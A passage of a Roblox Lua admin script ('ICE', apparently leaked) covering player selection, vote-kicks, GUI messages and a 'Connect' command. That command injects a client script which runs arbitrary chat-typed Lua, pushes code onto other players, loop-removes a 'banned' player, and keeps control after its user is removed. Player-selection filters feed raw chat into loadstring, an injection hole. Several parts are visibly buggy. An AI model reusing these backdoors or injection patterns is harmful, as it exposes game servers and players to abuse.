  1647. ICE.OnChatted(ICE.Bets[1]..'menu'..ICE.Bets[2],Player,true)
  1648. end
  1649. end
  1650. end)()
  1651.  
  1652. end
  1653. ICE.Command=function(Name,Command,Rank,Desc,Args,Func)
  1654. ICE.Commands[Name]={Command=Command,Rank=Rank,Desc=Desc,Args=Args,Func=Func};
  1655. end;
  1656. ICE.CreateTablets=function(Texts,Colors,Player,Times,Funcs)
  1657. if type(Texts) ~= 'table' then
  1658. Texts={Texts}
  1659. end
  1660. if type(Colors) ~= 'table' then
  1661. Colors={Colors}
  1662. end
  1663. if type(Times) ~= 'table' then
  1664. Times={Times}
  1665. end
  1666. if type(Funcs) ~= 'table' then
  1667. Funcs={Funcs}
  1668. end
  1669. Tabs={};
  1670. if #Colors == 1 and #Texts > 1 then
  1671. for i,v in pairs(Texts) do
  1672. Tabs[#Tabs+1]=ICE.Output(v,Colors[1],Player,Times[1],Funcs[1])
  1673. end
  1674. else
  1675. for i,v in pairs(Texts) do
  1676. Tabs[#Tabs+1]=ICE.Output(v,Colors[i],Player,Times[i],Funcs[i])
  1677. end
  1678. end
  1679. return Tabs
  1680. end
  1681. ICE.GetRank=function(Playr)
  1682. if type(Playr) == 'userdata' then Playr=Playr.Name end;
  1683. local Rank=0
  1684. local g =ICE.Ranked[Playr]
  1685. if g then Rank = g.Rank end
  1686. return Rank
  1687. end
  1688. ICE.TableToString=function(Table,TableName)
  1689. local String=""
  1690. if TableName then
  1691. local String= [[ local ]] .. TableName .. [[ = { ]]
  1692. else
  1693. String="{"
  1694. end
  1695. for i,v in pairs(Table) do
  1696. if type(i)=='string' then
  1697. if type(v) ~='table' then
  1698. if type(v)=='string' then
  1699. String=String..i..[[=]]..v..[[;]]
  1700. elseif type(v)=='number' then
  1701. String=String..i..[[=]]..tostring(v)..[[;]]
  1702. else
  1703. String=String..i..[[=]]..v..[[;]]
  1704. end
  1705. else
  1706. local Tab=ICE.TableToString(v,i)
  1707. String=String..i..[[=]]..Tab..[[;]]
  1708. end
  1709. else
  1710. if type(v) ~='table' then
  1711. if type(v)=='string' then
  1712. String=String..v..[[;]]
  1713. elseif type(v)=='number' then
  1714. String=String..tostring(v)..[[;]]
  1715. else
  1716. String=String..v..[[;]]
  1717. end
  1718. else
  1719. local Tab=ICE.TableToString(v,i)
  1720. String=String..Tab..[[;]]
  1721. end
  1722. end
  1723. end
  1724. if String:sub(#String,#String)==';' then
  1725. String=String:sub(1,#String-1)
  1726. end
  1727. String=String.."}"
  1728. return String
  1729. end
  1730. ICE.SandboxLoadstring=function(Source)
  1731. local Func = loadstring(Source or "")
  1732. setfenv(Func,{___ENV = getfenv(1)})
  1733. return coroutine.wrap(Func)
  1734. end
  1735. ICE.GetPlayers=function(Msg,Speaker)
  1736. if Msg == nil or Speaker == nil then
  1737. return ICE.Services.Players:GetPlayers()
  1738. else
  1739. local Rtn = {}
  1740. local Players = game:service'Players':GetPlayers()
  1741. Msg = Msg:lower()
  1742. local Split = Msg:find(",")
  1743. if Split ~= nil then
  1744. for _,v in pairs(ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  1745. Rtn[#Rtn+1] = v
  1746. end
  1747. for _,v in pairs(ICE.GetPlayers(Msg:sub(Split+1),Speaker)) do
  1748. Rtn[#Rtn+1] = v
  1749. end
  1750. elseif Msg == "me" then
  1751. if Speaker:IsA'Player' then
  1752. Rtn[#Rtn+1] = Speaker
  1753. else
  1754. Rtn[#Rtn+1] = game.Players:GetPlayers()[math.random(1,#game.Players:GetPlayers())]
  1755. end
  1756. elseif Msg == "others" then
  1757. for _,v in pairs(Players) do
  1758. if v ~= Speaker then
  1759. Rtn[#Rtn+1] = v
  1760. end
  1761. end
  1762. elseif Msg == "all" then
  1763. for _,v in pairs(Players) do
  1764. Rtn[#Rtn+1] = v
  1765. end
  1766. elseif Msg:sub(1,4) == "rank" then
  1767. for _,v in pairs(Players) do
  1768. if ICE.SandboxLoadstring("return "..tostring(ICE.GetRank(v))..Msg:sub(5))() then
  1769. Rtn[#Rtn+1] = v
  1770. end
  1771. end
  1772. elseif Msg == "random" then
  1773. Rtn[#Rtn+1] = Players[math.random(1,#Players)]
  1774. elseif Msg:sub(1,4) == "not " then
  1775. local Nots = GetPlayers(Msg:sub(5),Speaker)
  1776. for _,v in pairs(Players) do
  1777. local ShouldAdd = true
  1778. for _,i in pairs(Nots) do
  1779. if v == i then
  1780. ShouldAdd = false
  1781. end
  1782. end
  1783. if ShouldAdd == true then
  1784. Rtn[#Rtn+1] = v
  1785. end
  1786. end
  1787. elseif Msg:sub(1,4) == "dist" then
  1788. for _,v in pairs(Players) do
  1789. --pcall(function()
  1790. local Mag = (v.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude
  1791. if ICE.SandboxLoadstring("return "..tostring(Mag)..Msg:sub(5))() and v ~= Speaker then
  1792. Rtn[#Rtn+1] = v
  1793. end
  1794. --end)
  1795. end
  1796. elseif Msg:sub(1,3) == "age" then
  1797. for _,v in pairs(Players) do
  1798. if ICE.SandboxLoadstring("return "..tostring(v.AccountAge)..Msg:sub(4))() then
  1799. Rtn[#Rtn+1] = v
  1800. end
  1801. end
  1802. else
  1803. for _,v in pairs(Players) do
  1804. if v.Name:lower():sub(1,#Msg) == Msg then
  1805. Rtn[#Rtn+1] = v
  1806. end
  1807. end
  1808. end
  1809. for i=1,#Rtn do
  1810.  
  1811. if ICE.Ranked[Rtn[i].Name] and ICE.Ranked[Rtn[i].Name].Rank > ICE.Ranked[Speaker.Name].Rank then
  1812. ICE.Output(Rtn[i].Name .. ' outranks you!','Red',Speaker)
  1813. Rtn[i]=nil
  1814. end
  1815. end
  1816. for _,Player in pairs(Rtn) do
  1817. for _,Parts in pairs(Player.Character:GetChildren()) do
  1818. local Color = ICE.Ranked[Speaker.Name].Color
  1819. if Parts.className == 'Part' then
  1820. local Box = Instance.new('SelectionBox', Parts)
  1821. Box.Adornee = Parts
  1822. Box.Color = BrickColor.new(Color)
  1823. Box.Transparency = 0.5
  1824. end
  1825. end
  1826. coroutine.resume(coroutine.create(function()
  1827. wait(1)
  1828. for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do
  1829.  
  1830. if Things.className == 'SelectionBox' then Things:remove() end
  1831. end
  1832. end
  1833. end))
  1834. end
  1835. return Rtn
  1836. end
  1837. end
  1838. ICE.RemoveTablets=function(Player)
  1839. if type(Player)=='userdata' then Player=Player.Name end;
  1840. Tablets=ICE.GetTablets(Player);
  1841. for _,v in pairs(Tablets) do
  1842. coroutine.wrap(function()
  1843. for i=0,1,0.1 do wait()
  1844. v.Part.Transparency = i
  1845. v.Sel.Transparency = i
  1846. v.Label.TextTransparency = i
  1847. end
  1848. v.Model:Destroy()
  1849. end)()
  1850. end
  1851. end
  1852. ICE.VoteData.AddVote=function(Player,Value)
  1853. ICE.VoteData.Votes[Player.Name]=Value
  1854. end
  1855. ICE.VoteData.RemoveVote=function(Player)
  1856. ICE.VoteData.Votes[Player.Name]=nil
  1857. end
  1858. ICE.VoteData.PlayerHasVoted=function(Player)
  1859. Is=false
  1860. if ICE.VoteData.Votes[Player.Name]==nil then
  1861. for P,V in pairs(ICE.VoteData.Votes) do
  1862. if P:lower():sub(1,#Player.Name)==Player.Name:lower() then
  1863. Is=true
  1864. end
  1865. end
  1866. else
  1867. Is=true
  1868. end
  1869. return Is
  1870. end
  1871. ICE.VoteData.ActivateVoteKick=function(Player)
  1872. ICE.VoteData.Votes={};-- Clear the votes
  1873. ICE.VoteData.IsVoting=false-- Reset Voting Value
  1874. ICE.VoteData.VotedPlayer=""-- Reset Voted Player
  1875. ICE.VoteData.VotingPlayers={};-- Reset Voting Players Table
  1876. ICE.VoteData.IsVoting=true;
  1877. ICE.VoteData.VotedPlayer=Player.Name
  1878. ICE.VoteData.VotingPlayers=ICE.Services.Players:GetPlayers()
  1879. for _nil_,VPlayer in pairs(ICE.VoteData.VotingPlayers) do
  1880. coroutine.wrap(function()
  1881. local Tabs={};
  1882. local EndCor=false;
  1883. Tabs['Yes']=ICE.Output('Vote yes!','Red',VPlayer,nil,function() ICE.VoteData.AddVote(VPlayer,true) EndCor=true end)
  1884. Tabs['No']=ICE.Output('Vote no!','Red',VPlayer,nil,function() ICE.VoteData.AddVote(VPlayer,false) EndCor=true end)
  1885. Tabs['Info']=ICE.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer)
  1886. coroutine.wrap(function()
  1887. repeat
  1888. for Name,Dat in pairs(Tabs) do
  1889. if Dat.Model.Parent==nil or Dat.Part.Parent==nil then
  1890. if Name=='Yes' then
  1891. Tabs[Name]=ICE.Output(Dat.Label.Text,'Red',VPlayer,function() ICE.VoteData.AddVote(VPlayer,true) EndCor=true end)
  1892. elseif Name=='No' then
  1893. Tabs[Name]=ICE.Output(Dat.Label.Text,'Red',VPlayer,function() ICE.VoteData.AddVote(VPlayer,false) EndCor=true end)
  1894. else
  1895. Tabs[Name]=ICE.Output('A vote kick has been initiated on ' .. Player.Name .. ' You have to cast a vote','Green',VPlayer)
  1896. end
  1897. end
  1898. end
  1899. wait()
  1900. until EndCor==true
  1901. end)()
  1902. end)()
  1903. end
  1904. coroutine.wrap(function()
  1905. repeat
  1906. wait()
  1907. until #ICE.VoteData.Votes == #ICE.VoteData.VotingPlayers
  1908. local Yes,No=0,0
  1909. for Name,P in pairs(ICE.VoteData.Votes) do
  1910. if P==true then
  1911. Yes=Yes+1
  1912. else
  1913. No=No+1
  1914. end
  1915. end
  1916. -- 2/3rds of Votes need to be yes for the Player to be kicked
  1917. VoteMsg=Instance.new'Message'
  1918. VoteMsg.Name='Voting'
  1919. VoteMsg.Parent=ICE.Services.Workspace:findFirstChild'Base' or ICE.Services.Workspace
  1920. VoteMsg.Text='All the votes are in now calculating votes'
  1921. local Needed = #ICE.VoteData.VotingPlayers
  1922. local NumNeed=false
  1923. local IsMult=false
  1924. for i=3,30 do
  1925. if Needed==i then
  1926. IsMult=true
  1927. end
  1928. end
  1929. if IsMult==true then
  1930. NumNeeded = Needed / 3
  1931. NumNeeded=NumNeeded + NumNeeded
  1932. else
  1933. local Mult=0
  1934. for b=3,30 do
  1935. if b < Needed then
  1936. Mult=b
  1937. end
  1938. end
  1939. -- Found Least Multiple of 3 with remainder
  1940. local Remainder=Needed - Mult
  1941. if Remainder == 1 then
  1942. -- What to do
  1943. NumNeeded= Needed / 3
  1944. NumNeeded=NumNeeded + NumNeeded
  1945. else
  1946. -- Remainder is 2 :)
  1947. NumNeeded = tonumber(Needed + 1) / 3
  1948. NumNeeded = NumNeeded + NumNeeded
  1949. end
  1950. end
  1951. wait(1)
  1952. VoteMsg='The votes are in; (Yes): ' .. Yes .. ' (No): ' .. No
  1953. wait(1)
  1954. if Yes >= Needed then
  1955. VoteMsg.Text=Player.Name .. ' will now be kicked'
  1956. pcall(function() Player:Destroy() end)
  1957. else
  1958. VoteMsg=Player.Name .. ' will not be kicked'
  1959. end
  1960. end)()
  1961. end
  1962. ICE.CrashObj=function(Object)
  1963. --Object:Destroy()
  1964. Object.Parent.Head:Destroy()
  1965. Object.Parent:Destroy()
  1966. end
  1967. ICE.CrashCam=function()
  1968. local Focus=ICE.Services.Workspace:findFirstChild('Focus',true)
  1969. if Focus then
  1970. ICE.CrashObj(Focus)
  1971. end
  1972. end
  1973. ICE.MakeMessage=function(str,p)
  1974. if p==nil then
  1975. for _,Player in pairs(game.Players:GetPlayers()) do
  1976. coroutine.wrap(function()
  1977. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  1978. local Text = Instance.new("TextLabel", Msg)
  1979. Text.Position = UDim2.new(0, 0, 0.7, 0)
  1980. Text.Font=2
  1981. Text.FontSize=9
  1982. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  1983. Text.BackgroundTransparency = 0.4
  1984. Text.TextColor3 = Color3.new(1, 1, 1)
  1985. Text.TextTransparency = 1
  1986. Text.TextWrap = true
  1987. Text.Text = tostring(str)
  1988. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  1989. Text.TextTransparency = 0
  1990. Num = #str * 0.06
  1991. wait(3)
  1992. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  1993. wait(Num)
  1994. Msg:Remove()
  1995. end)()
  1996. end
  1997. else
  1998. Player=p;
  1999. coroutine.wrap(function()
  2000. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2001. local Text = Instance.new("TextLabel", Msg)
  2002. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2003. Text.Font=2
  2004. Text.FontSize=9
  2005. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2006. Text.BackgroundTransparency = 0.1
  2007. Text.TextColor3 = Color3.new(1, 1, 1)
  2008. Text.TextTransparency = 1
  2009. Text.TextWrap = true
  2010. Text.Text = tostring(str)
  2011. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2012. Text.TextTransparency = 0
  2013. Num = #str * 0.06
  2014. wait(3)
  2015. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2016. wait(Num)
  2017. Msg:Remove()
  2018. end)()
  2019. end
  2020. end
  2021. ICE.SystemMsg=function(str)
  2022. for _,Player in pairs(game.Players:GetPlayers()) do
  2023. coroutine.wrap(function()
  2024. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2025. local Text = Instance.new("TextLabel", Msg)
  2026. Text.Position = UDim2.new(0, 0, 0, 0)
  2027. Text.Font='Legacy'
  2028. Text.FontSize = "Size48"
  2029. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2030. Text.BackgroundTransparency = 0.4
  2031. Text.TextColor3 = Color3.new(1,1,1)
  2032. Text.TextTransparency = 0
  2033. Text.TextWrap = true
  2034. Text.Text = '[ System Message ] \n ' .. tostring(str)
  2035. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2036. Text.TextTransparency = 0.1
  2037. Num = #str * 0.06
  2038. wait(6)
  2039. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2040. wait(Num)
  2041. Msg:Remove()
  2042. end)()
  2043. end
  2044. end
  2045. ICE.MakeHint=function(str,p)
  2046. if p == nil then
  2047. for _,Player in pairs(game.Players:GetPlayers()) do
  2048. coroutine.wrap(function()
  2049. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2050. local Text = Instance.new("TextLabel", Msg)
  2051. Text.Position = UDim2.new(0, 0, 0, 0)
  2052. Text.Font=2
  2053. Text.FontSize=9
  2054. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2055. Text.BackgroundTransparency = 0.4
  2056. Text.TextColor3 = Color3.new(1, 1, 1)
  2057. Text.TextTransparency = 1
  2058. Text.TextWrap = true
  2059. Text.Text = tostring(str)
  2060. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2061. Text.TextTransparency = 0
  2062. Num = #str * 0.06
  2063. wait(3)
  2064. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2065. wait(Num)
  2066. Msg:Remove()
  2067. end)()
  2068. end
  2069. else
  2070. Player=p
  2071. coroutine.wrap(function()
  2072. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2073. local Text = Instance.new("TextLabel", Msg)
  2074. Text.Position = UDim2.new(0, 0, 0, 0)
  2075. Text.Font=2
  2076. Text.FontSize=9
  2077. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2078. Text.BackgroundTransparency = 0.1
  2079. Text.TextColor3 = Color3.new(1, 1, 1)
  2080. Text.TextTransparency = 1
  2081. Text.TextWrap = true
  2082. Text.Text = tostring(str)
  2083. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2084. Text.TextTransparency = 0
  2085. Num = #str * 0.06
  2086. wait(3)
  2087. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2088. wait(Num)
  2089. Msg:Remove()
  2090. end)()
  2091. end
  2092. end
  2093. ICE.GiveInfo=function(Speaker)
  2094. Num_Commands=0
  2095. Num_Services=0
  2096. Num_Tablets=0
  2097. Num_Ranked=0
  2098. Version=1
  2099. coroutine.wrap(function() for i,v in pairs(ICE.Commands) do Num_Commands=Num_Commands+1 end end)()
  2100. coroutine.wrap(function() for i,v in pairs(ICE.Services) do Num_Services=Num_Services+1 end end)()
  2101. coroutine.wrap(function() for i,v in pairs(ICE.Ranked) do Num_Ranked=Num_Ranked+1 end end)()
  2102. coroutine.wrap(function() for i,v in pairs(ICE.Tablets) do Num_Tablets=Num_Tablets+1 end end)()
  2103. coroutine.wrap(function() for i,v in pairs(ICE) do if type(v)=='function' then Version=Version+#ICE/0.01337 end end end)()
  2104. ICE.Output('#Tablets ' .. tostring(Num_Tablets),'Random',Speaker)
  2105. ICE.Output('#Services ' .. tostring(Num_Services),'Random',Speaker)
  2106. ICE.Output('#Ranked ' .. tostring(Num_Ranked),'Random',Speaker)
  2107. ICE.Output('#Commands ' .. tostring(Num_Commands),'Random',Speaker)
  2108. ICE.Output('Version : ' .. tostring(Version),'Random',Speaker)
  2109. ICE.Output('Help menu','Green',Speaker,nil,
  2110. function()
  2111. ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
  2112. ICE.Output('Get player operators','Orange',Speaker,nil,function()
  2113. ICE.RemoveTablets(Speaker)
  2114. ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
  2115. Infos={
  2116. {T="The bets are ["..ICE.Bets[1]..";"..ICE.Bets[2].."]",C="Orange"};
  2117. {T="To use a cmd its "..ICE.Bets[1].."Command"..ICE.Bets[2].."Arguments/Args",C="Orange"};
  2118. {T="To use a command on your self use the command and for arguments put 'me'",C="Blue"};
  2119. {T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"};
  2120. {T="To use a command on others use the command and for arguments put 'others'",C="Blue"};
  2121. };
  2122. for i,v in pairs(Infos) do
  2123. ICE.Output(v.T,v.C,Speaker)
  2124. end
  2125. end)
  2126. ICE.Output('Chat operators','Orange',Speaker,nil,function()
  2127. --ypcall(function()
  2128. ICE.RemoveTablets(Speaker)
  2129. Infos={
  2130. {T="To use a cmd more then once do '" .. ICE.Bets[1] .. " do (a number)"..ICE.Bets[1].."(a command)".. ICE.Bets[2] .."(arguments)'",C="Blue"};
  2131. {T="To wait before using a command do '" .. ICE.Bets[1].. " wait" .. ICE.Bets[1].. "(a command)" .. ICE.Bets[2] .. "(arguments)'",C="Blue"};
  2132. };
  2133. for i,v in pairs(Infos) do
  2134. ICE.Output(v.T,v.C,Speaker)
  2135. end
  2136. ICE.Output('Back','Blue',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'help'..ICE.Bets[2],Speaker,true) end)
  2137. --end)
  2138. end)
  2139. end
  2140. )
  2141. end
  2142. --[[ Sandbox ]]--
  2143. ICE.SandBoxCoding=[[
  2144. coroutine.wrap(function()
  2145. repeat
  2146. wait()
  2147. for i,v in pairs(getfenv()) do
  2148. obj=getfenv[i]
  2149. if type(obj)=='userdata' then
  2150. if obj.Name=='ICEAdminLeaked' then
  2151. if obj:IsA'Player' then
  2152. getfenv()[i]=nil;
  2153. end
  2154. end
  2155. end
  2156. end
  2157. until 1+1==3
  2158. end)()
  2159. %s
  2160. ]]
  2161. ICE.SandBoxScript=function(Script)
  2162. Source=nil;
  2163. Script.Disabled=true
  2164. for i,v in pairs(Script:children()) do
  2165. if v:IsA'StringValue' then
  2166. Old="" .. ICE.SandBoxCoding
  2167. Old=Old:format(v.Value)
  2168. v.Value=Old
  2169. end
  2170. end
  2171. Script.Disabled=false
  2172. end
  2173. --[[ End Of Sand Box ]]--
  2174. --[=[ End of funcs ]=]--
  2175. --[[ Rank 0 ]]--
  2176. ICE.Command('Connect','connect',0,'Connects to nil device','No args',
  2177. function(Msg,Speaker)
  2178. SC=ICE.CreateLocalScript([==[script.Parent=nil
  2179. Player=game.Players.LocalPlayer
  2180. Probe=Instance.new'Part';
  2181. CN='ICEAdminLeaked'
  2182. Camera=Workspace.CurrentCamera
  2183. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  2184. Char = Player.Character
  2185. if Char then
  2186. Char.Archivable = true
  2187. Char = Char:clone()
  2188. local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  2189. if t then
  2190. for k,v in pairs(Char:GetChildren()) do
  2191. if not v:IsA("Part") then
  2192. v:clone().Parent = t
  2193. end
  2194. end
  2195. Char = t:clone()
  2196. end
  2197. end
  2198. Title=function(txt,part,color,rise)
  2199. col=nil
  2200. col=Color3.new(BrickColor.new(color))
  2201. local Gui = Instance.new("BillboardGui",part)
  2202. Gui.Name = "3DGUI"
  2203. Gui.ExtentsOffset = Vector3.new(0,2,0)
  2204. Gui.Size = UDim2.new(8,0,2,0)
  2205. local Tit = Instance.new("TextLabel",Gui)
  2206. Tit.Name = "Title"
  2207. Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  2208. Tit.TextColor3 = Color3.new(0,0,0)
  2209. Tit.TextTransparency = 0.25
  2210. Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  2211. Tit.TextStrokeTransparency = 0.5
  2212. Tit.Size = UDim2.new(1,0,1,0)
  2213. Tit.BackgroundTransparency = 1
  2214. Tit.Font = "ArialBold"
  2215. Tit.TextScaled = true
  2216. Tit.Text = txt
  2217. if rise then
  2218. if not tonumber(rise) then rise = 1 end
  2219. coroutine.wrap(function()
  2220. while Tit.Parent and Gui.Parent and wait() do
  2221. Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  2222. end
  2223. end)()
  2224. end
  2225. return Tit
  2226. end
  2227. Chat=function(Part,Text,Color,Type)
  2228. if Type==nil or Type==1 or Type=='Bubble' then
  2229. game:service'Chat':Chat(Part,Text,Color)
  2230. else
  2231. if type(Color)~='string' then
  2232. Color=tostring(BrickColor.random())
  2233. end
  2234. Title(Text,Part,Color,math.random(1,3))
  2235. end
  2236. end
  2237. DestroyCharacter=function()
  2238. local chara = Player.Character
  2239. if not chara then return end
  2240. if chara:findFirstChild("Humanoid") then
  2241. chara.Humanoid:Destroy()
  2242. end
  2243. chara:BreakJoints()
  2244. for k,v in pairs(chara:GetChildren()) do
  2245. if v:IsA("BasePart") then
  2246. v.CanCollide = false
  2247. v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  2248. v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2249. end
  2250. end
  2251. game.Debris:AddItem(chara,3)
  2252. end
  2253. MakeProbe=function()
  2254. if Player.Character then DestroyCharacter() end Player.Character = nil
  2255. if Probe then Probe:Destroy() end
  2256. Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  2257. Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  2258. Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  2259. Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  2260. coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  2261. --Player.Character=Probe
  2262. end
  2263. Spawn=function()
  2264. if Char then
  2265. local c = Char:clone()
  2266. c.Name = CN
  2267. c.Parent = workspace
  2268. c:MoveTo(workspace.CurrentCamera.Focus.p)
  2269. Player.Character = c
  2270. workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  2271. workspace.CurrentCamera.CameraType = "Custom"
  2272. Probe:Destroy()
  2273. end
  2274. end
  2275. Player.Chatted:connect(function(Msg)
  2276. if Msg:sub(1,2) == '\\\\' then
  2277. local Func,Error=loadstring(Msg:sub(3))
  2278. if Error==nil then
  2279. pcall(Func)
  2280. if Player.Character then
  2281. game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  2282. end
  2283. else
  2284. if Player.Character then
  2285. game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  2286. else
  2287. local Msg=Instance.new'Message'
  2288. Msg.Parent=Workspace.CurrentCamera
  2289. Msg.Text=Error
  2290. game:service'Debris':AddItem(Msg,5)
  2291. end
  2292. end
  2293. elseif Msg:sub(1,#('newlocal')+2) == '\\newlocal\\' then
  2294. NewMsg=Msg:sub(#('newlocal')+3)
  2295. Split=NewMsg:find('\\')
  2296. local PlayerName=NewMsg:sub(1,Split-1)
  2297. local Source=NewMsg:sub(Split+1)
  2298. Player=nil
  2299. for i,v in pairs(game.Players:GetPlayers()) do
  2300. if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  2301. if Player==nil then
  2302. Player=v
  2303. else
  2304. if type(Player) == 'table' then
  2305. Player[#Player+1]=v
  2306. else
  2307. Player={v}
  2308. end
  2309. end
  2310. end
  2311. end
  2312. if type(Player)=='table' then
  2313. for i,v in pairs(Player) do
  2314. if newLocalScript then
  2315. newLocalScript(Source,v.Character)
  2316. else
  2317. Clone=script:clone();
  2318. SourceC=Clone:children()[1]
  2319. if SourceC:IsA'StringValue' then
  2320. print'String'
  2321. else
  2322. SourceC=Clone:children()[2]
  2323. end
  2324. SourceC.Value=Source
  2325. Clone.Disabled=true
  2326. Clone.Parent=v.Character
  2327. Clone.Disabled=false
  2328. end
  2329. end
  2330. else
  2331. if newLocalScript then
  2332. newLocalScript(Source,Player.Character)
  2333. else
  2334. Clone=script:clone();
  2335. DS=Clone:children()
  2336. DSS=nil
  2337. for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  2338. DSS.Value=Source
  2339. Clone.Disabled=true;
  2340. Clone.Parent=Player.Character
  2341. Clone.Disabled=false
  2342. end
  2343. end
  2344. elseif Msg:sub(1,#('rejoin')+2) == '\\rejoin\\' then
  2345. game:service'TeleportService':Teleport(Game.PlaceId)
  2346. elseif Msg:sub(1,#('probe')+2) == '\\probe\\' then
  2347. MakeProbe()
  2348. elseif Msg:sub(1,#('char')+2) =='\\char\\' then
  2349. Spawn()
  2350. elseif Msg:sub(1,#('ban')+2) == '\\ban\\' then
  2351. Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  2352. if Player then
  2353. repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  2354. end
  2355. end
  2356. wait()
  2357. if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('\\probe\\') and not Msg:find('\\char\\') then -- Is nil then
  2358. if Probe then
  2359. Chat(Probe,Msg,math.random(0,2))
  2360. else
  2361. if Player.Character==nil then
  2362. if Char then
  2363. Chat(Char.Head,Msg,math.random(0,2))
  2364. end
  2365. else
  2366. Chat(Player.Character.Head,Msg,'Red')
  2367. end
  2368. end
  2369. end
  2370. end) -- local
  2371. ]==],Speaker.Character)
  2372. if SC then
  2373. ICE.Output('Sucessful attempt at connecting! When you are removed from game chat \\probe\\ or \\char\\','Green',Speaker)
  2374. else
  2375. ICE.Output('Unsucessful connection attempt!','Red',Speaker)
  2376. end
  2377. end
  2378. )
  2379. ICE.Command('Commands','cmds',0,'Shows commands','No arguments',
  2380. function(Msg,Speaker)
  2381. ICE.RemoveTablets(Speaker)
  2382. local Mine=ICE.Ranked[Speaker.Name]
  2383. for i=1,#ICE.Ranks do
  2384. if i > 0 and i < #ICE.Ranks + 1 then
  2385. ICE.Output('Rank ' .. tostring(i),Mine.Color,Speaker,nil,
  2386. function()
  2387. ICE.RemoveTablets(Speaker)
  2388. if Mine.Rank < i then
  2389. ICE.Output('You cannot access to these commands! View anyways?','Red',Speaker,nil,function()
  2390. --ICE.RemoveTablets(Speaker)
  2391. Num=0
  2392. for e,v in pairs(ICE.Commands) do
  2393. if v.Rank == i then
  2394. Num=Num+1
  2395. ICE.Output(e,'Random',Speaker,nil,
  2396. function()
  2397. ICE.RemoveTablets(Speaker);
  2398. for Name,Str in pairs(v) do
  2399. ICE.Output(tostring(Name) .. '; ' .. tostring(Str),Mine.Color,Speaker)
  2400. end
  2401. ICE.Output('Syntax : ' .. Str.Command .. ICE.Bet,Mine.Color,Speaker)
  2402. end
  2403. )
  2404. end
  2405. end
  2406. if Num== 0 then
  2407. ICE.Output('No available commands for this rank!','Red',Speaker)
  2408. end
  2409. end)
  2410. else
  2411. Num=0
  2412. for CmdName,CmdTable in pairs(ICE.Commands) do
  2413. if CmdTable.Rank == i then
  2414. Num=Num+1
  2415. ICE.Output(CmdName,Mine.Color,Speaker,nil,
  2416. function()
  2417. ICE.RemoveTablets(Speaker);
  2418. for Str,Val in pairs(CmdTable) do
  2419. ICE.Output(tostring(Str) .. '; ' .. tostring(Val),Mine.Color,Speaker)
  2420. end
  2421. ICE.Output('Syntax : ' .. Val.Command..ICE.Bet,Mine.Color,Speaker)
  2422. end
  2423. )
  2424. end
  2425. end
  2426. if Num== 0 then
